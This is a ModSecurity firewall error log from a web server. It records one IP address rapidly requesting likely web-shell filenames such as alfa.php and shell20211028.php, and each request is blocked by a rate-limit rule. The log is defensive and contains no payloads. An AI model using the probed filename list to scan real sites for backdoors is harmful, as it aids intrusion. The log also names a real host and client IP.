[Thu Dec 11 00:11:50.787813 2025] [:error] [pid 10520:tid 10524] [client 4.230.47.236:40975] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/db.php"] [unique_id "aTmbxkNrVZZksrD9M7EJpAAAAQI"]
[Thu Dec 11 00:11:51.467855 2025] [:error] [pid 10433:tid 10452] [client 4.230.47.236:45658] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file4.php"] [unique_id "aTmbx2fQ1q-Ic7huYoXvIQAAAM8"]
[Thu Dec 11 00:11:52.235595 2025] [:error] [pid 10433:tid 10459] [client 4.230.47.236:40984] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file4.php"] [unique_id "aTmbyGfQ1q-Ic7huYoXvJQAAANY"]
[Thu Dec 11 00:11:52.888917 2025] [:error] [pid 10435:tid 10501] [client 4.230.47.236:7108] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file4.php"] [unique_id "aTmbyI5HZq66Rpdj2aJt6wAAAAc"]
[Thu Dec 11 00:11:53.306724 2025] [:error] [pid 10435:tid 10514] [client 4.230.47.236:6222] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file4.php"] [unique_id "aTmbyY5HZq66Rpdj2aJt7AAAABQ"]
[Thu Dec 11 00:11:53.685206 2025] [:error] [pid 10434:tid 10478] [client 4.230.47.236:46497] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z.php"] [unique_id "aTmbyWbAnZFInxx5bO-avgAAAEs"]
[Thu Dec 11 00:11:54.122960 2025] [:error] [pid 10434:tid 10476] [client 4.230.47.236:44388] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z.php"] [unique_id "aTmbymbAnZFInxx5bO-awAAAAEk"]
[Thu Dec 11 00:11:54.490466 2025] [:error] [pid 10435:tid 10505] [client 4.230.47.236:7149] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z.php"] [unique_id "aTmbyo5HZq66Rpdj2aJt7QAAAAs"]
[Thu Dec 11 00:11:55.175907 2025] [:error] [pid 10435:tid 10512] [client 4.230.47.236:7105] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z.php"] [unique_id "aTmby45HZq66Rpdj2aJt8AAAABI"]
[Thu Dec 11 00:11:55.518073 2025] [:error] [pid 10435:tid 10504] [client 4.230.47.236:41007] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mah.php"] [unique_id "aTmby45HZq66Rpdj2aJt8QAAAAo"]
[Thu Dec 11 00:11:55.839585 2025] [:error] [pid 10520:tid 10531] [client 4.230.47.236:45675] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mah.php"] [unique_id "aTmby0NrVZZksrD9M7EJqQAAAQk"]
[Thu Dec 11 00:11:56.577743 2025] [:error] [pid 10433:tid 10442] [client 4.230.47.236:41002] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mah.php"] [unique_id "aTmbzGfQ1q-Ic7huYoXvKgAAAMU"]
[Thu Dec 11 00:11:57.020247 2025] [:error] [pid 10520:tid 10542] [client 4.230.47.236:7120] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mah.php"] [unique_id "aTmbzUNrVZZksrD9M7EJqgAAARQ"]
[Thu Dec 11 00:11:57.353266 2025] [:error] [pid 10435:tid 10511] [client 4.230.47.236:6875] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/admin.php"] [unique_id "aTmbzY5HZq66Rpdj2aJt8wAAABE"]
[Thu Dec 11 00:11:57.739484 2025] [:error] [pid 10434:tid 10491] [client 4.230.47.236:40962] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/admin.php"] [unique_id "aTmbzWbAnZFInxx5bO-awgAAAFg"]
[Thu Dec 11 00:11:58.122643 2025] [:error] [pid 10434:tid 10482] [client 4.230.47.236:6878] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/admin.php"] [unique_id "aTmbzmbAnZFInxx5bO-awwAAAE8"]
[Thu Dec 11 00:11:58.580171 2025] [:error] [pid 10433:tid 10458] [client 4.230.47.236:6234] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/admin.php"] [unique_id "aTmbzmfQ1q-Ic7huYoXvKwAAANU"]
[Thu Dec 11 00:11:58.940265 2025] [:error] [pid 10520:tid 10533] [client 4.230.47.236:46476] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/geju.php"] [unique_id "aTmbzkNrVZZksrD9M7EJrQAAAQs"]
[Thu Dec 11 00:11:59.383806 2025] [:error] [pid 10435:tid 10499] [client 4.230.47.236:7159] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/geju.php"] [unique_id "aTmbz45HZq66Rpdj2aJt9AAAAAU"]
[Thu Dec 11 00:11:59.944873 2025] [:error] [pid 10435:tid 10498] [client 4.230.47.236:6899] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/geju.php"] [unique_id "aTmbz45HZq66Rpdj2aJt9QAAAAQ"]
[Thu Dec 11 00:12:00.304994 2025] [:error] [pid 10520:tid 10524] [client 4.230.47.236:41019] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/geju.php"] [unique_id "aTmb0ENrVZZksrD9M7EJsgAAAQI"]
[Thu Dec 11 00:12:00.733171 2025] [:error] [pid 10435:tid 10513] [client 4.230.47.236:6887] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ahax.php"] [unique_id "aTmb0I5HZq66Rpdj2aJt9gAAABM"]
[Thu Dec 11 00:12:01.316350 2025] [:error] [pid 10434:tid 10472] [client 4.230.47.236:40967] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ahax.php"] [unique_id "aTmb0WbAnZFInxx5bO-axQAAAEU"]
[Thu Dec 11 00:12:02.066108 2025] [:error] [pid 10434:tid 10475] [client 4.230.47.236:40963] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ahax.php"] [unique_id "aTmb0mbAnZFInxx5bO-ayAAAAEg"]
[Thu Dec 11 00:12:02.710891 2025] [:error] [pid 10520:tid 10527] [client 4.230.47.236:44366] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ahax.php"] [unique_id "aTmb0kNrVZZksrD9M7EJtwAAAQU"]
[Thu Dec 11 00:12:03.231457 2025] [:error] [pid 10520:tid 10544] [client 4.230.47.236:7124] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless.php"] [unique_id "aTmb00NrVZZksrD9M7EJuwAAARY"]
[Thu Dec 11 00:12:03.636639 2025] [:error] [pid 10520:tid 10531] [client 4.230.47.236:6221] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless.php"] [unique_id "aTmb00NrVZZksrD9M7EJvQAAAQk"]
[Thu Dec 11 00:12:04.127557 2025] [:error] [pid 10520:tid 10529] [client 4.230.47.236:6901] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless.php"] [unique_id "aTmb1ENrVZZksrD9M7EJvwAAAQc"]
[Thu Dec 11 00:12:04.595805 2025] [:error] [pid 10433:tid 10450] [client 4.230.47.236:37387] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless.php"] [unique_id "aTmb1GfQ1q-Ic7huYoXvLQAAAM0"]
[Thu Dec 11 00:12:05.066644 2025] [:error] [pid 10433:tid 10452] [client 4.230.47.236:50384] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aTmb1WfQ1q-Ic7huYoXvLgAAAM8"]
[Thu Dec 11 00:12:05.456597 2025] [:error] [pid 10435:tid 10514] [client 4.230.47.236:45668] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aTmb1Y5HZq66Rpdj2aJt-gAAABQ"]
[Thu Dec 11 00:12:06.601643 2025] [:error] [pid 10433:tid 10444] [client 4.230.47.236:6892] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aTmb1mfQ1q-Ic7huYoXvMQAAAMc"]
[Thu Dec 11 00:12:07.176422 2025] [:error] [pid 10433:tid 10447] [client 4.230.47.236:40987] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aTmb12fQ1q-Ic7huYoXvMwAAAMo"]
[Thu Dec 11 00:12:07.835821 2025] [:error] [pid 10520:tid 10542] [client 4.230.47.236:44394] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/contact.php"] [unique_id "aTmb10NrVZZksrD9M7EJwwAAARQ"]
[Thu Dec 11 00:12:08.209354 2025] [:error] [pid 10435:tid 10495] [client 4.230.47.236:44356] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/contact.php"] [unique_id "aTmb2I5HZq66Rpdj2aJt_QAAAAE"]
[Thu Dec 11 00:12:08.697796 2025] [:error] [pid 10433:tid 10448] [client 4.230.47.236:44414] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/contact.php"] [unique_id "aTmb2GfQ1q-Ic7huYoXvNAAAAMs"]
[Thu Dec 11 00:12:09.210326 2025] [:error] [pid 10434:tid 10473] [client 4.230.47.236:44360] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/contact.php"] [unique_id "aTmb2WbAnZFInxx5bO-aygAAAEY"]
[Thu Dec 11 00:12:09.684299 2025] [:error] [pid 10520:tid 10541] [client 4.230.47.236:7166] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/item.php"] [unique_id "aTmb2UNrVZZksrD9M7EJxwAAARM"]
[Thu Dec 11 00:12:10.333153 2025] [:error] [pid 10435:tid 10509] [client 4.230.47.236:7142] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/item.php"] [unique_id "aTmb2o5HZq66Rpdj2aJuAgAAAA8"]
[Thu Dec 11 00:12:10.683051 2025] [:error] [pid 10433:tid 10450] [client 4.230.47.236:44408] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/item.php"] [unique_id "aTmb2mfQ1q-Ic7huYoXvOgAAAM0"]
[Thu Dec 11 00:12:11.469206 2025] [:error] [pid 10435:tid 10494] [client 4.230.47.236:41016] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/item.php"] [unique_id "aTmb245HZq66Rpdj2aJuAwAAAAA"]
[Thu Dec 11 00:12:12.005602 2025] [:error] [pid 10520:tid 10530] [client 4.230.47.236:44386] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lufix.php"] [unique_id "aTmb3ENrVZZksrD9M7EJywAAAQg"]
[Thu Dec 11 00:12:12.388432 2025] [:error] [pid 10520:tid 10542] [client 4.230.47.236:45637] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lufix.php"] [unique_id "aTmb3ENrVZZksrD9M7EJzQAAARQ"]
[Thu Dec 11 00:12:12.849122 2025] [:error] [pid 10435:tid 10518] [client 4.230.47.236:7130] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lufix.php"] [unique_id "aTmb3I5HZq66Rpdj2aJuCQAAABg"]
[Thu Dec 11 00:12:13.395718 2025] [:error] [pid 10433:tid 10459] [client 4.230.47.236:46507] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lufix.php"] [unique_id "aTmb3WfQ1q-Ic7huYoXvPAAAANY"]
[Thu Dec 11 00:12:13.817965 2025] [:error] [pid 10434:tid 10469] [client 4.230.47.236:40970] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buy.php"] [unique_id "aTmb3WbAnZFInxx5bO-a0gAAAEI"]
[Thu Dec 11 00:12:14.194875 2025] [:error] [pid 10433:tid 10444] [client 4.230.47.236:6896] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buy.php"] [unique_id "aTmb3mfQ1q-Ic7huYoXvPgAAAMc"]
[Thu Dec 11 00:12:14.533684 2025] [:error] [pid 10433:tid 10457] [client 4.230.47.236:6851] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buy.php"] [unique_id "aTmb3mfQ1q-Ic7huYoXvPwAAANQ"]
[Thu Dec 11 00:12:14.876153 2025] [:error] [pid 10434:tid 10478] [client 4.230.47.236:44400] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buy.php"] [unique_id "aTmb3mbAnZFInxx5bO-a1QAAAEs"]
[Thu Dec 11 00:12:15.343970 2025] [:error] [pid 10435:tid 10515] [client 4.230.47.236:40999] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cloud.php"] [unique_id "aTmb345HZq66Rpdj2aJuEAAAABU"]
[Thu Dec 11 00:12:15.686035 2025] [:error] [pid 10435:tid 10494] [client 4.230.47.236:7150] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cloud.php"] [unique_id "aTmb345HZq66Rpdj2aJuEQAAAAA"]
[Thu Dec 11 00:12:16.163675 2025] [:error] [pid 10433:tid 10447] [client 4.230.47.236:45636] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cloud.php"] [unique_id "aTmb4GfQ1q-Ic7huYoXvQQAAAMo"]
[Thu Dec 11 00:12:16.550105 2025] [:error] [pid 10433:tid 10443] [client 4.230.47.236:41001] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cloud.php"] [unique_id "aTmb4GfQ1q-Ic7huYoXvQgAAAMY"]
[Thu Dec 11 00:12:16.884705 2025] [:error] [pid 10433:tid 10458] [client 4.230.47.236:40991] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell20211028.php"] [unique_id "aTmb4GfQ1q-Ic7huYoXvRAAAANU"]
[Thu Dec 11 00:12:17.334537 2025] [:error] [pid 10520:tid 10529] [client 4.230.47.236:46498] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell20211028.php"] [unique_id "aTmb4UNrVZZksrD9M7EJ1wAAAQc"]
[Thu Dec 11 00:12:17.719075 2025] [:error] [pid 10435:tid 10511] [client 4.230.47.236:44364] [client 4.230.47.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell20211028.php"] [unique_id "aTmb4Y5HZq66Rpdj2aJuHQAAABE"]
